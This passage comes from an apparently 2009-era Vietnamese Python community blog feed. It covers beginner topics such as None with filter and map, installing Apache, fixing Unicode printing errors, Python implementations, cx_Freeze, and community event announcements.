<span class="gp">>>> </span><span class="nb">filter</span><span class="p">(</span><span class="kc">None</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mf">0.0</span><span class="p">])</span>
<span class="go">[1, 2]</span>
</pre></div>
<p>Ở đây chúng ta có cảm giác như <strong>None</strong> được dùng như một hàm. Thực ra không phải vậy, <strong>None</strong> có nghĩa là không có hàm nào ở đây cả, nói cách khác đối số đầu tiên của <strong>filter</strong> bị khuyết. Python lúc đó sẽ dùng hàm mặc định gì đó tương tự như <tt class="docutils literal">lambda x: x</tt>.</p>
</div>
<div class="section" id="dung-none-voi-map">
<h2>4. Dùng None với map</h2>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">map</span><span class="p">(</span><span class="kc">None</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="p">{</span><span class="mi">1</span><span class="p">:</span><span class="mi">2</span><span class="p">}])</span>
<span class="go">[1, 2, {1: 2}]</span>
</pre></div>
<p><strong>map</strong> không thay đổi danh sách khi nó bị khuyết hàm tác động. Khi đó hàm <strong>None</strong> tương đương với ánh xạ đồng nhất (mặc dù không chính xác, vì thực ra là không có hàm nào cả, Python có thể đã sử dụng hàm mặc định). Tuy nhiên dùng hàm <strong>None</strong> khi có hai danh sách trở lên thì lại tạo ra <em>khả năng đặc biệt</em>.</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">map</span><span class="p">(</span><span class="kc">None</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">],</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">])</span>
<span class="go">[(1, 3), (2, 4)]</span>
<span class="gp">>>> </span><span class="nb">map</span><span class="p">(</span><span class="kc">None</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">],</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">],</span> <span class="p">[</span><span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">])</span>
<span class="go">[(1, 3, 5), (2, 4, 6)]</span>
</pre></div>
<p>Khả năng này tương đương với <strong>zip</strong>.</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">zip</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">],</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">],</span> <span class="p">[</span><span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">])</span>
<span class="go">[(1, 3, 5), (2, 4, 6)]</span>
<span class="gp">>>> </span><span class="nb">zip</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">],</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">])</span>
<span class="go">[(1, 3), (2, 4)]</span>
</pre></div>
<p>Diễn giải của nó như sau:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">:</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">),</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">],</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">])</span>
<span class="go">[(1, 3), (2, 4)]</span>
<span class="gp">>>> </span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">:</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">z</span><span class="p">),</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">],</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">],</span> <span class="p">[</span><span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">])</span>
<span class="go">[(1, 3, 5), (2, 4, 6)]</span>
</pre></div>
<p>Một lần nữa trong mục này, mặc dù <strong>None</strong> bao hàm ý nghĩa về sự khuyết giá trị, song trong triển khai của hàm bất kỳ việc khuyết giá trị dẫn đến việc sử dụng các hàm mặc định. Lúc đó <strong>None</strong> có ý nghĩa là những gì mặc định. Đôi khi có thể ngắn gọn coi nó cũng là một hàm đặc biệt, hàm <strong>None</strong>.</p>
<p>Chú ý quan trọng: Các test của bài viết này được thử trên <strong>python 2.5.x</strong>.</p>
</div>
Lập trình web với Python (1)2009-12-17T09:07:00+07:002009-12-17T09:07:00+07:00Nguyễn Thành Namtag:None,2009-12-17:2009/12/lap-trinh-web-voi-python-1.html<p>Trong loạt bài lập trình web với Python, tôi sẽ hướng dẫn bạn đọc những thao tác cơ bản từ việc cài đặt, cấu hình, cho đến lập trình, hoàn thành một ứng dụng web đơn giản. Qua quá trình đó, bạn đọc sẽ được giới thiệu về kỹ thuật …</p><p>Trong loạt bài lập trình web với Python, tôi sẽ hướng dẫn bạn đọc những thao tác cơ bản từ việc cài đặt, cấu hình, cho đến lập trình, hoàn thành một ứng dụng web đơn giản. Qua quá trình đó, bạn đọc sẽ được giới thiệu về kỹ thuật CGI, đến FastCGI và cuối cùng là WSGI.</p>
<div class="section" id="cai-dat-may-chu-web-apache">
<h2>Cài đặt máy chủ web Apache</h2>
<p>Để lập trình web, chúng ta cần một máy chủ phục vụ web. Máy chủ <a class="reference external" href="http://httpd.apache.org/">Apache HTTP</a> là một trong những phần mềm máy chủ web phổ dụng trên Internet. Chúng ta sẽ cần tải bản cài đặt phần mềm này về. Tôi sẽ sử dụng phiên bản 2.2.14 (<tt class="docutils literal"><span class="pre">apache_2.2.14-win32-x86-openssl-0.9.8k.msi</span></tt>) cho các bài viết trong loạt bài này. Hệ điều hành tôi đang sử dụng là Windows 7.</p>
<p>Khi chạy tập tin cài đặt, chúng ta sẽ gặp giao diện như sau:</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-1.png" />
<p>Nhấn vào nút <strong>Next</strong> để qua màn hình kế:</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-2.png" />
<p>Chọn ô đầu tiên để đồng ý với cam kết bản quyền, và nhấn nút <strong>Next</strong> để qua trang kế:</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-3.png" />
<p>Tiếp tục nhấn nút <strong>Next</strong>:</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-4.png" />
<p>Điền thông tin vào các ô trống như trong hình ví dụ, và nhấn <strong>Next</strong>:</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-5.png" />
<p>Chọn kiểu cài đặt <strong>Typical</strong> và nhấn nút <strong>Next</strong>:</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-6.png" />
<p>Nếu bạn muốn thay đổi đường dẫn cài đặt thì bạn sẽ chỉnh trong trang này, còn không thì nhấn nút <strong>Next</strong>:</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-7.png" />
<p>Nhấn nút <strong>Install</strong> để bắt đầu quá trình cài đặt:</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-8.png" />
<p>Chúng ta sẽ được thông báo về quá trình cài đặt.</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-9.png" />
<p>Sau khi cài đặt hoàn thành, nhấn <strong>Finish</strong> để kết thúc:</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-10.png" />
<p>Nhấn vào nút <strong>Start</strong> và nhập vào <strong>services.msc</strong> như hình trên để kiểm tra sự tồn tại của máy chủ web Apache2:</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-11.png" />
<p>Như hình trên, dịch vụ Apache2 đã được chạy (started). Để kiểm tra thì chúng ta sẽ mở Internet Explorer (IE) lên và truy cập vào địa chỉ <strong>http://localhost</strong>. Nếu bạn nhận được kết quả như hình bên dưới đây thì bạn đã hoàn thành việc cài đặt máy chủ web Apache rồi đó.</p>
<img alt="" src="/static/web-programming/install-apache/apache-install-12.png" />
<p>Trong bài tới chúng ta sẽ tiếp tục thực hiện việc cài đặt Python.</p>
</div>
In chuỗi unicode ra màn hình2009-12-16T14:33:00+07:002009-12-16T14:33:00+07:00Nguyễn Thành Namtag:None,2009-12-16:2009/12/in-chuoi-unicode-ra-man-hinh.html<p>Một ngày nào đấy, có lẽ bạn sẽ rất bực mình khi gặp phải một lỗi tương tự như sau:</p>
<div class="highlight"><pre><span></span><span class="gp">c:\tmp></span>c<span class="p">:</span><span class="nl">\Python26\python.exe</span><span class="c1"> helloworld.py</span>
<span class="go">Traceback (most recent call last):</span>
<span class="gp"> File "helloworld.py", line 3, in <module></span>
<span class="go"> print u"Xin chào bạn, Python!"</span>
<span class="go"> File "c …</span></pre></div><p>Một ngày nào đấy, có lẽ bạn sẽ rất bực mình khi gặp phải một lỗi tương tự như sau:</p>
<div class="highlight"><pre><span></span><span class="gp">c:\tmp></span>c<span class="p">:</span><span class="nl">\Python26\python.exe</span><span class="c1"> helloworld.py</span>
<span class="go">Traceback (most recent call last):</span>
<span class="gp"> File "helloworld.py", line 3, in <module></span>
<span class="go"> print u"Xin chào bạn, Python!"</span>
<span class="go"> File "c:\Python26\lib\encodings\cp437.py", line 12, in encode</span>
<span class="go"> return codecs.charmap_encode(input,errors,encoding_map)</span>
<span class="go">UnicodeEncodeError: 'charmap' codec can't encode character u'\u1ea1' in position</span>
<span class="gp"> 10: character maps to <undefined></span>
</pre></div>
<p>Mã nguồn của <tt class="docutils literal">helloworld.py</tt> chỉ đơn giản như sau:</p>
<div class="highlight"><pre><span></span><span class="c1"># -*- encoding: utf-8 -*-</span>
<span class="nb">print</span> <span class="sa">u</span><span class="s2">"Xin chào bạn, Python!"</span>
</pre></div>
<p>Lỗi này xảy ra vì chúng ta đang in một chuỗi unicode, với các ký tự nằm ngoài bảng mã ASCII (hoặc bảng mã mặc định của màn hình hiện tại).</p>
<p>Khi gặp phải các ký tự nằm ngoài bảng mã này, Python mặc định sẽ nâng một biệt lệ cho biết chính xác đó là ký tự nào, nằm ở vị trí nào. Như ví dụ trên, đó là ký tự <tt class="docutils literal">ạ</tt> có mã unicode là <strong>1EA1</strong> nằm tại vị trí thứ <strong>10</strong> (vị trí bắt đầu là 0) trong chuỗi <tt class="docutils literal">Xin chào bạn, Python!</tt>.</p>
<p>Có một số cách để khắc phục lỗi này, từ việc thay đổi một số biến môi trường, cho đến việc sửa từng dòng lệnh. Tất cả đều nhằm một mục đích là chuyển <strong>chuỗi unicode</strong> cần in thành <strong>chuỗi byte</strong> theo bảng mã UTF-8.</p>
<ul>
<li><p class="first">Thay đổi biến môi trường: Biến môi trường <tt class="docutils literal">PYTHONIOENCODING</tt> được dùng để định nghĩa bảng mã cho các bộ nhập chuẩn, bộ xuất chuẩn, và bộ lỗi chuẩn (stdin, stdout, stderr). Chúng ta có thể định nghĩa biến môi trường này thành <strong>utf-8</strong> như sau:</p>
<div class="highlight"><pre><span></span><span class="gp">c:\tmp></span><span class="k">set</span> <span class="nv">PYTHONIOENCODING</span><span class="p">=</span>utf-8
<span class="gp">c:\tmp></span>c<span class="p">:</span><span class="nl">\Python26\python.exe</span><span class="c1"> helloworld.py</span>
<span class="go">Xin chào bạn, Python!</span>
</pre></div>
</li>
<li><p class="first">Thay đổi bộ xuất chuẩn: Bộ xuất chuẩn (<tt class="docutils literal">sys.stdout</tt>) có thể được "gói" trong bảng mã mới thông qua mô-đun <tt class="docutils literal">codecs</tt>.</p>
<div class="highlight"><pre><span></span><span class="c1"># -*- encoding: utf-8 -*-</span>
<span class="kn">import</span> <span class="nn">codecs</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">writer_factory</span> <span class="o">=</span> <span class="n">codecs</span><span class="o">.</span><span class="n">getwriter</span><span class="p">(</span><span class="s2">"utf-8"</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">stdout</span> <span class="o">=</span> <span class="n">writer_factory</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="p">)</span>
<span class="nb">print</span> <span class="sa">u</span><span class="s2">"Xin chào bạn, Python!"</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">c:\tmp></span>c<span class="p">:</span><span class="nl">\Python26\python</span><span class="c1"> helloworld.py</span>
<span class="go">Xin chào bạn, Python!</span>
</pre></div>
</li>
<li><p class="first">Thay đổi từng dòng lệnh <tt class="docutils literal">print</tt>:</p>
<div class="highlight"><pre><span></span><span class="c1"># -*- encoding: utf-8 -*-</span>
<span class="nb">print</span> <span class="sa">u</span><span class="s2">"Xin chào bạn, Python!"</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s2">"utf-8"</span><span class="p">)</span>
</pre></div>
<div class="highlight"><pre><span></span><span class="gp">c:\tmp></span>c<span class="p">:</span><span class="nl">\Python26\python</span><span class="c1"> helloworld.py</span>
<span class="go">Xin chào bạn, Python!</span>
</pre></div>
</li>
</ul>
<p>Như chúng ta thấy, cách nào cũng dẫn đến cùng một kết quả mong muốn. Việc áp dụng cách nào sẽ phụ thuộc vào hoàn cảnh của từng chương trình.</p>
Các bản cài đặt (implementation) của Python2009-12-14T04:09:00+07:002009-12-14T04:09:00+07:00Võ Đức Phươngtag:None,2009-12-14:2009/12/cac-ban-cai-dat-implementation-cua-python.html<p>Có lẽ với nhiều người, khi nhắc tới Python sẽ chỉ nghĩ đến trình thông dịch được tải về từ trang web chính thức của ngôn ngữ này: <a class="reference external" href="https://www.python.org">https://www.python.org</a>. Thế nhưng để đến với ngôn ngữ lập trình Python thì không chỉ có "con đường" đó. Là …</p><p>Có lẽ với nhiều người, khi nhắc tới Python sẽ chỉ nghĩ đến trình thông dịch được tải về từ trang web chính thức của ngôn ngữ này: <a class="reference external" href="https://www.python.org">https://www.python.org</a>. Thế nhưng để đến với ngôn ngữ lập trình Python thì không chỉ có "con đường" đó. Là một chuẩn ngôn ngữ lập trình, Python có rất nhiều bản cài đặt khác nhau, với những mục tiêu cũng như những điểm mạnh, yếu khác nhau. Bài viết này sẽ giới thiệu một trong số những bản cài đặt đó, mong rằng nó sẽ hữu ích đối với những người muốn sử dụng Python nhưng vì một lí do nào đó mà không sử dụng được trình thông dịch chuẩn.</p>
<div class="section" id="cpython">
<h2>1- CPython</h2>
<p>Phiên bản mới nhất: 2.6 và 3.1</p>
<p>Đây chính là trình thông dịch chuẩn của Python, được coi là bản cài đặt tham chiếu cho ngôn ngữ này. Được viết bằng C và thực thi mã thông qua một trình thông dịch mã trung gian (bytecode interpreter). Là bản cài đặt chính thức, CPython có những tính năng mới nhất của Python, tuy nhiên bị hạn chế về một số mặt như tốc độ.</p>
</div>
<div class="section" id="jython">
<h2>2- Jython</h2>
<p>Phiên bản mới nhất: 2.5</p>
<p>Được viết bằng Java, chương trình Python sử dụng các lớp của Java (Java class) thay vì mô đun của Python. Ngoài hầu hết các mô đun trong thư viện chuẩn Python, Jython có một ưu điểm rất lớn là có thể sử dụng các lớp trong thư viện chuẩn của Java. Mã lệnh của Jython không được biên dịch ra dạng Python bytecode như CPython mà sang dạng Java bytecode tương tự như các chương trình Java, và tất nhiên mã lệnh này phải được thực thi bởi máy ảo Java chứ không phải trình thông dịch như trong trường hợp của CPython.</p>
</div>
<div class="section" id="ironpython">
<h2>3- IronPython</h2>
<p>Phiên bản mới nhất: 2.0, 2.6 (alpha)</p>
<p>Cũng tương tự như Jython, nhưng thay vì được biên dịch ra Java bytecode và thực thi bởi máy ảo Java, mã lệnh một chương trình IronPython được biên dịch sang dạng CIL (Common Intermediate Language) và thực thi bởi máy ảo .Net. Một chương trình viết bằng IronPython có thể sử dụng được các lớp của khung chương trình .Net, do vậy IronPython rất hữu dụng trong việc tích hợp vào một hệ thống viết bằng .Net.</p>
</div>
<div class="section" id="psyco">
<h2>4- Psyco</h2>
<p>Phiên bản mới nhất: 1.6</p>
<p>Là một bản cài đặt đặc biệt sử dụng phương thức biên dịch tức thời (Just in time compiling) nhằm cải thiện tốc độ thực thi của Python. Tùy thuộc vào loại tác vụ mà Psyco có thể tăng tốc từ 1,5 đến hơn 40 lần.</p>
</div>
<div class="section" id="pypy">
<h2>5- PyPy</h2>
<p>Phiên bản mới nhất: 1.1</p>
<p>Tiền thân là Psyco, PyPy được viết trên một tập con các lệnh của Python (restricted Python - RPython) nhằm nâng cao tính đa nền tảng so với Psyco, ngoài ra việc sử dụng chính Python để viết khiến cho việc thay đổi và tối ưu đơn giản hơn. Cũng như người tiền nhiệm, PyPy là một trình biên dịch tức thời cho phép cải thiện tốc độ thực thi so với CPython. Tuy bắt đầu là một dự án mang tính nghiên cứu nhưng vì thấy được những ưu điểm của PyPy, hiện các tác giả của PyPy đang tập trung vào việc tương thích với CPython nhằm đưa PyPy vào sử dụng trong thực tiễn.</p>
</div>
<div class="section" id="unladen-swallow">
<h2>6- Unladen Swallow</h2>
<p>Phiên bản mới nhất: 2009Q3 (alpha)</p>
<p>Là một dự án đặc biệt của Google cũng nhằm tăng tốc độ thực thi của Python, nhưng khác với Psyco hay Pypy là dựa trên nền tảng LLVM. Unladen Swallow có mục đích là tăng ít nhất gấp 5 lần tốc độ của CPython. Điều này sẽ rất có lợi cho Google, do hãng này ứng dụng Python rất nhiều.</p>
<p>Ngoài những bản cài đặt ở trên, ngôn ngữ Python còn rất nhiều bản cài đặt khác như Stackless Python hay WPython v.v... tuy nhiên những bản cài đặt này thường có ứng dụng hẹp hơn, do vậy bài viết chỉ xin giới thiệu những bản cài đặt trên, mong rằng nếu như bạn không ưng ý với CPython thì giờ đây bạn có thể đến với Python theo một cách khác!</p>
</div>
Python 2.7 alpha2009-12-08T03:38:00+07:002009-12-08T03:38:00+07:00Võ Đức Phươngtag:None,2009-12-08:2009/12/python-27-alpha.html<p>Phiên bản thử nghiệm alpha của Python 2.7 đã được phát hành, phiên bản này không có thêm chức năng gì mới mà chủ yếu là sửa chữa lỗi cộng với việc backport các tính năng của python 3000 về lại, đây cũng sẽ là phiên bản cuối cùng …</p><p>Phiên bản thử nghiệm alpha của Python 2.7 đã được phát hành, phiên bản này không có thêm chức năng gì mới mà chủ yếu là sửa chữa lỗi cộng với việc backport các tính năng của python 3000 về lại, đây cũng sẽ là phiên bản cuối cùng của dòng Python 2.</p>
<p>Theo đề xuất mới đây của Guido Van Rossum thì ngôn ngữ Python (cú pháp, thư viện tích hợp v.v...) sẽ tạm dừng phát triển trong vòng ít nhất 2 năm để cho các cài đặt khác của python như PyPy, Jython có thời gian để đuổi kịp nhánh cài đặt chính là CPython. Chính vì vậy mà 2 phiên bản 2.7 và 3.2 sẽ không có thay đổi gì quan trọng mà chỉ chủ yếu để sửa lỗi hay các nâng cấp nhỏ.</p>
<p>Thông tin chi tiết về phiên bản Python 2.7 có tại: <a class="reference external" href="http://www.python.org/download/releases/2.7/">http://www.python.org/download/releases/2.7/</a></p>
Đóng băng ứng dụng với cx_Freeze2009-12-01T05:54:00+07:002009-12-01T05:54:00+07:00Nguyễn Thành Namtag:None,2009-12-01:2009/12/dong-bang-ung-dung-voi-cx_freeze.html<p>Python là ngôn ngữ thông dịch nên để chạy các ứng dụng viết bằng Python, chúng ta cần phải cài bộ thông dịch. Thao tác này hơi luộm thuộm đối với người dùng cuối, nên thông thường chúng ta hay tự hỏi liệu có cách nào đó để chuyển ứng …</p><p>Python là ngôn ngữ thông dịch nên để chạy các ứng dụng viết bằng Python, chúng ta cần phải cài bộ thông dịch. Thao tác này hơi luộm thuộm đối với người dùng cuối, nên thông thường chúng ta hay tự hỏi liệu có cách nào đó để chuyển ứng dụng của chúng ta thành một tập tin .EXE như các ứng dụng Windows khác không.</p>
<p>Rất may mắn là chúng ta có thể đạt được mục đích này với chương trình <a class="reference external" href="http://cx-freeze.sourceforge.net">cx_Freeze</a>.</p>
<p>Chúng ta sẽ bắt đầu với một ví dụ đơn giản. Hãy tạo một tập tin <tt class="docutils literal">helloworld.py</tt> với nội dung sau:</p>
<div class="highlight"><pre><span></span><span class="c1"># helloworld.py</span>
<span class="nb">print</span> <span class="s2">"Hello World!"</span>
</pre></div>
<p>Khi chạy chương trình bé nhỏ này (giả sử nó đang nằm trong thư mục <tt class="docutils literal"><span class="pre">c:\tmp</span></tt>, chúng ta nhận kết quả như sau:</p>
<pre class="literal-block">
c:\tmp>c:\Python26\python helloworld.py
Hello World!
</pre>
<p>Bây giờ chúng ta sẽ cài đặt cx_Freeze. Đối với ví dụ trên, chúng ta sẽ phải chọn bản cài đặt cho Windows, và cho phiên bản Python 2.6. Sau khi cài đặt cx_Freeze thì tập tin thực thi sẽ được đặt trong <tt class="docutils literal"><span class="pre">c:\python26\scripts\cxfreeze</span></tt>.</p>
<p>Để đóng băng chương trình <tt class="docutils literal">helloworld.py</tt>, chúng ta thực hiện lệnh <tt class="docutils literal">cxfreeze helloworld.py</tt>:</p>
<pre class="literal-block">
c:\tmp>c:\Python26\scripts\cxfreeze helloworld.py
coyping c:\python26\lib\site-packages\cx_Freeze\bases\Console.exe -> c:\tmp\dist\helloworld.exe
coyping C:\Windows\system32\python26.dll -> c:\tmp\dist\python26.dll
writing zip file c:\tmp\dist\helloworld.exe
Name File
---- ----
m StringIO
m UserDict
m __builtin__
.
.
.
m warnings
m zipimport
m zlib
coyping c:\python26\DLLs\bz2.pyd -> c:\tmp\dist\bz2.pyd
coyping c:\python26\DLLs\select.pyd -> c:\tmp\dist\select.pyd
coyping c:\python26\DLLs\unicodedata.pyd -> c:\tmp\dist\unicodedata.pyd
</pre>
<p>Kết quả của lệnh này là <tt class="docutils literal">helloworld.py</tt> được đóng băng trong thư mục <tt class="docutils literal">dist</tt>:</p>
<pre class="literal-block">
c:\tmp>dir /s dist
Volume in drive C is OS
Volume Serial Number is B07D-8588
Directory of c:\tmp\dist
12/01/2009 12:42 PM <DIR> .
12/01/2009 12:42 PM <DIR> ..
12/01/2009 12:42 PM 71,168 bz2.pyd
12/01/2009 12:42 PM 1,423,792 helloworld.exe
12/01/2009 12:42 PM 2,149,888 python26.dll
12/01/2009 12:42 PM 11,776 select.pyd
12/01/2009 12:42 PM 585,728 unicodedata.pyd
5 File(s) 4,242,352 bytes
Total Files Listed:
5 File(s) 4,242,352 bytes
2 Dir(s) 118,923,808,768 bytes free
</pre>
<p>Và bây giờ chúng ta có thể đóng gói, hoặc nén các tập tin trong thư mục này để chuyển đến người dùng cuối. Tập tin thực thi chính của chúng ta chính là <tt class="docutils literal">helloworld.exe</tt>:</p>
<pre class="literal-block">
c:\tmp>cd dist
c:\tmp\dist>helloworld.exe
Hello World!
</pre>
<p>cx_Freeze còn nhận một số tham số dòng lệnh khác. Bạn có thể tham khảo thêm bằng cách chạy <tt class="docutils literal">cxfreeze <span class="pre">--help</span></tt>.</p>
<p>Ngoài cx_Freeze còn có một số công cụ khác có chức năng tương tự ví dụ như <a class="reference external" href="http://www.py2exe.org/">py2exe</a>.</p>
Vithon hoạt động trở lại2009-11-25T07:52:00+07:002009-11-25T07:52:00+07:00Nhóm PCNVtag:None,2009-11-25:2009/11/vithon-hoat-dong-tro-lai.html<p>Trong vài ngày qua, vì máy chủ cần được nâng cấp nên trang mạng vithon.org đã tạm ngừng hoạt động. Trong khi chờ đợi máy chủ nâng cấp hoàn thành, trang vithon.org đã được di dời qua một máy chủ mới.</p>
<p>Các bài viết và thảo luận diễn …</p><p>Trong vài ngày qua, vì máy chủ cần được nâng cấp nên trang mạng vithon.org đã tạm ngừng hoạt động. Trong khi chờ đợi máy chủ nâng cấp hoàn thành, trang vithon.org đã được di dời qua một máy chủ mới.</p>
<p>Các bài viết và thảo luận diễn đàn đã được sao lưu đầy đủ. Nhóm Python cho người Việt sẽ tải dần tất cả những bài viết và thảo luận diễn đàn lên trang mạng trong các ngày tới.</p>
<p>Các bạn thành viên cũ có quyền cập nhật trang mạng xin vui lòng liên lạc quản trị để cấp lại tài khoản trên hệ thống Zine này.</p>
<p>Chân thành cáo lỗi cùng các bạn vì sự bất tiện này.</p>
Hội thảo PyCon khu vực Châu Á - Thái Bình Dương 20102009-10-27T20:15:00+07:002009-10-27T20:15:00+07:00Nhóm PCNVtag:None,2009-10-27:2009/10/hoi-thao-pycon-khu-vuc-chau-a-thai-binh-duong-2010.html<img alt="" src="/static/pycon.apac.2010.jpg" />
<div class="section" id="pycon-apac-2010">
<h2>PyCon APAC 2010</h2>
<p>Hội thảo <a class="reference external" href="http://apac.pycon.org/">PyCon Asia Pacific</a> sẽ được tổ chức tại Singapore vào ngày 09 đến 11 tháng 06 năm 2010. Ngày 09 sẽ dành cho các bài hướng dẫn và ngày 10, 11 sẽ dành cho các bài thảo luận.</p>
<p>Ban tổ chức kêu gọi sự tham …</p></div><img alt="" src="/static/pycon.apac.2010.jpg" />
<div class="section" id="pycon-apac-2010">
<h2>PyCon APAC 2010</h2>
<p>Hội thảo <a class="reference external" href="http://apac.pycon.org/">PyCon Asia Pacific</a> sẽ được tổ chức tại Singapore vào ngày 09 đến 11 tháng 06 năm 2010. Ngày 09 sẽ dành cho các bài hướng dẫn và ngày 10, 11 sẽ dành cho các bài thảo luận.</p>
<p>Ban tổ chức kêu gọi sự tham gia của các cá nhân, tập thể trong các bài hướng dẫn lẫn các bài tham luận hội thảo về tất cả các khía cạnh của Python -- từ lập trình không chuyên đến lập trình chuyên nghiệp, về các ứng dụng hoặc khung phần mềm, và bạn sử dụng Python như thế nào trong công việc.</p>
<p>Các diễn giả lần đầu, đặc biệt là những diễn giả từ khu vực châu Á, được khuyến khích gửi bài cho ban tổ chức.</p>
<p>Thông tin thêm về hội thảo PyCon Châu Á - Thái Bình Dương có thể được tìm thấy tại <a class="reference external" href="http://apac.pycon.org/">http://apac.pycon.org/</a></p>
</div>
Cộng đồng PCNV hỗ trợ GNOME.Asia2009-10-27T20:13:00+07:002009-10-27T20:13:00+07:00Nhóm PCNVtag:None,2009-10-27:2009/10/cong-dong-pcnv-ho-tro-gnomeasia.html<p><a class="reference external" href="http://gnome.asia"><img alt="GnomeAsia" src="/static/gnome.asia.2009.png" /></a></p>
<p>PCNV là một trong những nhóm hỗ trợ cộng đồng tại hội thảo GNOME Asia 2009 tổ chức tại Công viên Phần mềm Quang Trung, thành phố Hồ Chí Minh.</p>
<p>GNOME.Asia Summit diễn ra từ ngày 20 đến 22 tháng 11 năm 2009 tại Công viên phần mềm Quang …</p><p><a class="reference external" href="http://gnome.asia"><img alt="GnomeAsia" src="/static/gnome.asia.2009.png" /></a></p>
<p>PCNV là một trong những nhóm hỗ trợ cộng đồng tại hội thảo GNOME Asia 2009 tổ chức tại Công viên Phần mềm Quang Trung, thành phố Hồ Chí Minh.</p>
<p>GNOME.Asia Summit diễn ra từ ngày 20 đến 22 tháng 11 năm 2009 tại Công viên phần mềm Quang Trung, thành phố Hồ Chí Minh, là một trong những sự kiện công nghệ nguồn mở hàng đầu trong khu vực, sẽ được đăng tải trên 20 tờ báo, đài truyền hình, và các diễn đàn trong và ngoài nước. Với mục đích khám phá tương lai của cộng đồng mã nguồn mở ở châu Á, và mở rộng cơ hội hợp tác Á-Âu, Gnome.Asia Summit dự kiến sẽ có sự tham gia của hơn 500 khách mời từ 10 quốc gia trên thế giới. Ban tổ chức trân trọng mời các cá nhân, đoàn thể có quan tâm cùng tham gia sự kiện này.</p>
<p>Ngoài việc kêu gọi cộng đồng người sử dụng Python tham gia vào hội thảo GNOME Asia, nhóm PCNV của chúng ta cũng sẽ tham gia hội thảo với bài trình bày <em>Python cho phần đời còn lại</em>. Đây cũng là một cơ hội để chúng ta cùng gặp mặt trực tiếp ngoài đời thường.</p>
Duyệt qua các file trong một thư mục2009-06-20T03:45:00+07:002009-06-20T03:45:00+07:00Phạm Thị Minh Hoàitag:None,2009-06-20:2009/06/duyet-qua-cac-file-trong-mot-thu-muc.html<p>Bạn thường gặp bài toán liệt kê danh sách tất cả các file trong một thư mục cho trước. Dưới đây là một vài các cách khác nhau tùy theo hoàn cảnh.</p>
<div class="section" id="su-dung-os-listdir">
<h2>1. Sử dụng <tt class="docutils literal">os.listdir</tt></h2>
<p>Câu lệnh sau sẽ lấy danh mục các file trong thư mục <tt class="docutils literal">Test …</tt></p></div><p>Bạn thường gặp bài toán liệt kê danh sách tất cả các file trong một thư mục cho trước. Dưới đây là một vài các cách khác nhau tùy theo hoàn cảnh.</p>
<div class="section" id="su-dung-os-listdir">
<h2>1. Sử dụng <tt class="docutils literal">os.listdir</tt></h2>
<p>Câu lệnh sau sẽ lấy danh mục các file trong thư mục <tt class="docutils literal">Test</tt> nằm trong thư mục cá nhân của bạn.</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">os</span>
<span class="gp">>>> </span><span class="n">path</span> <span class="o">=</span> <span class="s2">"~/Test"</span>
<span class="gp">>>> </span><span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">expanduser</span><span class="p">(</span><span class="n">path</span><span class="p">))</span>
<span class="go">['file 3', 'file 1', 'file 2']</span>
</pre></div>
<p><tt class="docutils literal">os.listdir</tt> chỉ cho bạn tên file hoặc thư mục nằm trong đường dẫn đó. Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">path</span> <span class="o">=</span> <span class="s2">"/mnt/data/pictures/"</span>
